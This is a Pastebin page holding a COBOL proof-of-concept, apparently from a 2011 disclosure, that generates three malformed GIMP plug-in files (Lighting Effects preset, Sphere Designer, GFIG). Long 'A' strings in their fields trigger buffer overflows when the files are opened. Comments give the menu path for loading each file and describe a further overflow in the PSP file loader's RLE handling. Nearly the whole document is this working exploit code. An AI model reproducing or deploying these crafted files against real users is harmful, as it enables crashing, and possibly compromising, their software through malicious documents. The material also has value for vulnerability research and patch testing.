API tools faq
paste
Guest User

Untitled

a guest
Nov 16th, 2011
99
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
COBOL 7.93 KB | None | 0 0
raw download clone embed print report
  1. 000010 IDENTIFICATION DIVISION.
  2. 000020 PROGRAM-ID.              GIMP-OVERFLOWS-POC-IN-COBOL.
  3. 000030 AUTHOR.                  NON-CUSTOMERS CREW.
  4. 000040*SHOE SIZE DECLARATION.   43.
  5. 000050
  6. 000060 ENVIRONMENT DIVISION.
  7. 000070 INPUT-OUTPUT SECTION.
  8. 000080 FILE-CONTROL.
  9. 000090     SELECT FILE01 ASSIGN TO "GIMP01.LIGHTINGPRESETS"
  10. 000100         ORGANIZATION IS LINE SEQUENTIAL.
  11. 000110     SELECT FILE02 ASSIGN TO "GIMP02.SPHEREDESIGNER"
  12. 000120         ORGANIZATION IS LINE SEQUENTIAL.
  13. 000130     SELECT FILE03 ASSIGN TO "GIMP03.GFIG"
  14. 000140         ORGANIZATION IS LINE SEQUENTIAL.
  15. 000150*    FOR THE 4TH OVERFLOW, SEE BELOW.
  16. 000160
  17. 000170 DATA DIVISION.
  18. 000180 FILE SECTION.
  19. 000190 FD FILE01.
  20. 000200 01 PRINTLINE   PIC X(800).
  21. 000210 FD FILE02.
  22. 000220 01 QRINTLINE   PIC X(800).
  23. 000230 FD FILE03.
  24. 000240 01 RRINTLINE   PIC X(800).
  25. 000250
  26. 000260 WORKING-STORAGE SECTION.
  27. 000270 01 TEXT-OUT1   PIC X(29) VALUE 'Number of lights: 1'.
  28. 000280 01 TEXT-OUT2   PIC X(29) VALUE 'Type: Point'.
  29. 000290 01 TEXT-OUT3   PIC X(29) VALUE 'Position: A'.
  30. 000300 01 TEXT-OUT4   PIC X(29) VALUE 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAA'.
  31. 000310 01 TEXT-OUT5   PIC X(29) VALUE ' -1 1'.
  32. 000320 01 TEXT-OUT6   PIC X(29) VALUE 'Direction: -1 -1 1'.
  33. 000330 01 TEXT-OUT7   PIC X(29) VALUE 'Color: 1 1 1'.
  34. 000340 01 TEXT-OUT8   PIC X(29) VALUE 'Intensity: 1'.
  35. 000350 01 TEXU-OUT1   PIC X(29) VALUE '0 0 A'.
  36. 000360 01 TEXU-OUT2   PIC X(29) VALUE 'A 1 1 1 0 0 0 1 1 0 1 1 1 1 1'.
  37. 000370 01 TEXU-OUT3   PIC X(29) VALUE '0 0 0 0 0 0 0'.
  38. 000380 01 TEXV-OUT1   PIC X(29) VALUE 'GFIG Version 0.2'.
  39. 000390 01 TEXV-OUT2   PIC X(29) VALUE 'Name: First\040Gfig'.
  40. 000400 01 TEXV-OUT3   PIC X(29) VALUE 'Version: 0.000000'.
  41. 000410 01 TEXV-OUT4   PIC X(29) VALUE 'ObjCount: 0'.
  42. 000420 01 TEXV-OUT5   PIC X(29) VALUE '<OPTIONS>'.
  43. 000430 01 TEXV-OUT6   PIC X(29) VALUE 'GridSpacing: 30'.
  44. 000440 01 TEXV-OUT7   PIC X(29) VALUE 'GridType: RECT_GRID'.
  45. 000450 01 TEXV-OUT8   PIC X(29) VALUE 'DrawGrid: FALSE'.
  46. 000460 01 TEXV-OUT9   PIC X(29) VALUE 'Snap2Grid: FALSE'.
  47. 000470 01 TEXV-OUTA   PIC X(29) VALUE 'LockOnGrid: FALSE'.
  48. 000480 01 TEXV-OUTB   PIC X(29) VALUE 'ShowControl: TRUE'.
  49. 000490 01 TEXV-OUTC   PIC X(29) VALUE '</OPTIONS>'.
  50. 000500 01 TEXV-OUTD   PIC X(29) VALUE '<Style Base>'.
  51. 000510 01 TEXV-OUTE   PIC X(29) VALUE 'BrushName:      Circle (11)'.
  52. 000520 01 TEXV-OUTF   PIC X(29) VALUE 'PaintType:       1'.
  53. 000530 01 TEXV-OUTG   PIC X(29) VALUE 'FillType:       0'.
  54. 000540 01 TEXV-OUTH   PIC X(29) VALUE 'FillOpacity:    100'.
  55. 000550 01 TEXV-OUTI   PIC X(29) VALUE 'Pattern:        Pine'.
  56. 000560 01 TEXV-OUTJ   PIC X(29) VALUE 'Gradient:      FG to BG (RGB)'.
  57. 000570 01 TEXV-OUTK   PIC X(29) VALUE 'Foreground: A'.
  58. 000580 01 TEXV-OUTL   PIC X(29) VALUE 'AA 0 0 1'.
  59. 000590 01 TEXV-OUTM   PIC X(29) VALUE 'Background: 1 1 1 1'.
  60. 000600 01 TEXV-OUTN   PIC X(29) VALUE '</Style>'.
  61. 000610
  62. 000620 PROCEDURE DIVISION.
  63. 000630 MAIN-PARAGRAPH.
  64. 000640*   1. FILTERS > LIGHT AND SHADOW > LIGHTING EFFECTS > LIGHT > OPEN
  65. 000650        OPEN OUTPUT FILE01.
  66. 000660        WRITE PRINTLINE FROM TEXT-OUT1.
  67. 000670        WRITE PRINTLINE FROM TEXT-OUT2.
  68. 000680        WRITE PRINTLINE FROM TEXT-OUT3 AFTER ADVANCING 0 LINES.
  69. 000690        WRITE PRINTLINE FROM TEXT-OUT4 AFTER ADVANCING 0 LINES.
  70. 000700        WRITE PRINTLINE FROM TEXT-OUT4 AFTER ADVANCING 0 LINES.
  71. 000710        WRITE PRINTLINE FROM TEXT-OUT4 AFTER ADVANCING 0 LINES.
  72. 000720        WRITE PRINTLINE FROM TEXT-OUT4 AFTER ADVANCING 0 LINES.
  73. 000730        WRITE PRINTLINE FROM TEXT-OUT5.
  74. 000740        WRITE PRINTLINE FROM TEXT-OUT6.
  75. 000750        WRITE PRINTLINE FROM TEXT-OUT7.
  76. 000760        WRITE PRINTLINE FROM TEXT-OUT8.
  77. 000770        CLOSE FILE01.
  78. 000780
  79. 000790*   2. FILTERS > RENDER > SPHERE DESIGNER > OPEN
  80. 000800        OPEN OUTPUT FILE02.
  81. 000810        WRITE QRINTLINE FROM TEXU-OUT1 AFTER ADVANCING 0 LINES.
  82. 000820        WRITE QRINTLINE FROM TEXT-OUT4 AFTER ADVANCING 0 LINES.
  83. 000830        WRITE QRINTLINE FROM TEXT-OUT4 AFTER ADVANCING 0 LINES.
  84. 000840        WRITE QRINTLINE FROM TEXT-OUT4 AFTER ADVANCING 0 LINES.
  85. 000850        WRITE QRINTLINE FROM TEXT-OUT4 AFTER ADVANCING 0 LINES.
  86. 000860        WRITE QRINTLINE FROM TEXT-OUT4 AFTER ADVANCING 0 LINES.
  87. 000870        WRITE QRINTLINE FROM TEXT-OUT4 AFTER ADVANCING 0 LINES.
  88. 000880        WRITE QRINTLINE FROM TEXT-OUT4 AFTER ADVANCING 0 LINES.
  89. 000890        WRITE QRINTLINE FROM TEXT-OUT4 AFTER ADVANCING 0 LINES.
  90. 000900        WRITE QRINTLINE FROM TEXT-OUT4 AFTER ADVANCING 0 LINES.
  91. 000910        WRITE QRINTLINE FROM TEXT-OUT4 AFTER ADVANCING 0 LINES.
  92. 000920        WRITE QRINTLINE FROM TEXT-OUT4 AFTER ADVANCING 0 LINES.
  93. 000930        WRITE QRINTLINE FROM TEXT-OUT4 AFTER ADVANCING 0 LINES.
  94. 000940        WRITE QRINTLINE FROM TEXT-OUT4 AFTER ADVANCING 0 LINES.
  95. 000950        WRITE QRINTLINE FROM TEXT-OUT4 AFTER ADVANCING 0 LINES.
  96. 000960        WRITE QRINTLINE FROM TEXT-OUT4 AFTER ADVANCING 0 LINES.
  97. 000970        WRITE QRINTLINE FROM TEXT-OUT4 AFTER ADVANCING 0 LINES.
  98. 000980        WRITE QRINTLINE FROM TEXT-OUT4 AFTER ADVANCING 0 LINES.
  99. 000990        WRITE QRINTLINE FROM TEXT-OUT4 AFTER ADVANCING 0 LINES.
  100. 001000        WRITE QRINTLINE FROM TEXT-OUT4 AFTER ADVANCING 0 LINES.
  101. 001010        WRITE QRINTLINE FROM TEXT-OUT4 AFTER ADVANCING 0 LINES.
  102. 001020        WRITE QRINTLINE FROM TEXT-OUT4 AFTER ADVANCING 0 LINES.
  103. 001030        WRITE QRINTLINE FROM TEXT-OUT4 AFTER ADVANCING 0 LINES.
  104. 001040        WRITE QRINTLINE FROM TEXT-OUT4 AFTER ADVANCING 0 LINES.
  105. 001050        WRITE QRINTLINE FROM TEXT-OUT4 AFTER ADVANCING 0 LINES.
  106. 001060        WRITE QRINTLINE FROM TEXT-OUT4 AFTER ADVANCING 0 LINES.
  107. 001070        WRITE QRINTLINE FROM TEXT-OUT4 AFTER ADVANCING 0 LINES.
  108. 001080        WRITE QRINTLINE FROM TEXT-OUT4 AFTER ADVANCING 0 LINES.
  109. 001090        WRITE QRINTLINE FROM TEXT-OUT4 AFTER ADVANCING 0 LINES.
  110. 001100        WRITE QRINTLINE FROM TEXT-OUT4 AFTER ADVANCING 0 LINES.
  111. 001110        WRITE QRINTLINE FROM TEXT-OUT4 AFTER ADVANCING 0 LINES.
  112. 001120        WRITE QRINTLINE FROM TEXT-OUT4 AFTER ADVANCING 0 LINES.
  113. 001130        WRITE QRINTLINE FROM TEXU-OUT2 AFTER ADVANCING 0 LINES.
  114. 001140        WRITE QRINTLINE FROM TEXU-OUT3.
  115. 001150        CLOSE FILE02.
  116. 001160
  117. 001170*   3. FILTERS > RENDER > GFIG > FILE > OPEN
  118. 001180        OPEN OUTPUT FILE03.
  119. 001190        WRITE RRINTLINE FROM TEXV-OUT1.
  120. 001200        WRITE RRINTLINE FROM TEXV-OUT2.
  121. 001210        WRITE RRINTLINE FROM TEXV-OUT3.
  122. 001220        WRITE RRINTLINE FROM TEXV-OUT4.
  123. 001230        WRITE RRINTLINE FROM TEXV-OUT5.
  124. 001240        WRITE RRINTLINE FROM TEXV-OUT6.
  125. 001250        WRITE RRINTLINE FROM TEXV-OUT7.
  126. 001260        WRITE RRINTLINE FROM TEXV-OUT8.
  127. 001270        WRITE RRINTLINE FROM TEXV-OUT9.
  128. 001280        WRITE RRINTLINE FROM TEXV-OUTA.
  129. 001290        WRITE RRINTLINE FROM TEXV-OUTB.
  130. 001300        WRITE RRINTLINE FROM TEXV-OUTC.
  131. 001310        WRITE RRINTLINE FROM TEXV-OUTD.
  132. 001320        WRITE RRINTLINE FROM TEXV-OUTE.
  133. 001330        WRITE RRINTLINE FROM TEXV-OUTF.
  134. 001340        WRITE RRINTLINE FROM TEXV-OUTG.
  135. 001350        WRITE RRINTLINE FROM TEXV-OUTH.
  136. 001360        WRITE RRINTLINE FROM TEXV-OUTI.
  137. 001370        WRITE RRINTLINE FROM TEXV-OUTJ.
  138. 001380        WRITE RRINTLINE FROM TEXV-OUTK AFTER ADVANCING 0 LINES.
  139. 001390        WRITE RRINTLINE FROM TEXT-OUT4 AFTER ADVANCING 0 LINES.
  140. 001400        WRITE RRINTLINE FROM TEXT-OUT4 AFTER ADVANCING 0 LINES.
  141. 001410        WRITE RRINTLINE FROM TEXT-OUT4 AFTER ADVANCING 0 LINES.
  142. 001420        WRITE RRINTLINE FROM TEXV-OUTL.
  143. 001430        WRITE RRINTLINE FROM TEXV-OUTM.
  144. 001440        WRITE RRINTLINE FROM TEXV-OUTN.
  145. 001450        CLOSE FILE03.
  146. 001460
  147. 001470*   4. THE FUNCTION "read_channel_data()" IN plug-ins/common/file-psp.c HAS AN
  148. 001480*      OVERFLOW WHEN HANDLING PSP_COMP_RLE TYPE FILES. A MALICIOUS FILE THAT
  149. 001490*      STARTS A LONG RUNCOUNT AT THE END OF AN IMAGE WILL WRITE OUTSIDE OF
  150. 001500*      ALLOCATED MEMORY. WE DON'T HAVE A POC FOR THIS BUG.
  151. 001510
  152. 001520*      HAPPY NEW YEAR!!!               http://rock-madrid.com/
  153. 001530
  154. 001540        STOP RUN.
  155.  
  156.  
Advertisement
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!